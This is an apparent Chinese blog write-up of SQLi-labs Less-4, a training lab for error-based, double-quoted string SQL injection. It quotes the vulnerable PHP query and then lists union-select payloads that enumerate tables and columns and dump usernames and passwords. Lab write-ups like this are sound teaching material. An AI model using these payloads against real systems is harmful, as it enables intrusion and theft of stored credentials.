第四关-Less-4:

第四关-Less-4:

GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

判断注入点:

我们输入 ?id=1' 时来查看页面的回显:

发现页面并没有任何变化

我们再输入?id=1"(双引号)来查看页面回显:

这里根据报错,我们可以知道SQL语句是双引号字符型且有括号,所以我们需要闭合双引号也还需要考虑括号

我们来查看一下关键源码:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

所以这里我们可以构造以下payload:

?id=1")--+

?id=1") order by 3--+

?id=-1") union select 1,2,3--+

?id=-1") union select 1,database(),version()--+

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

注入成功

posted @   张伟文  阅读(107)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示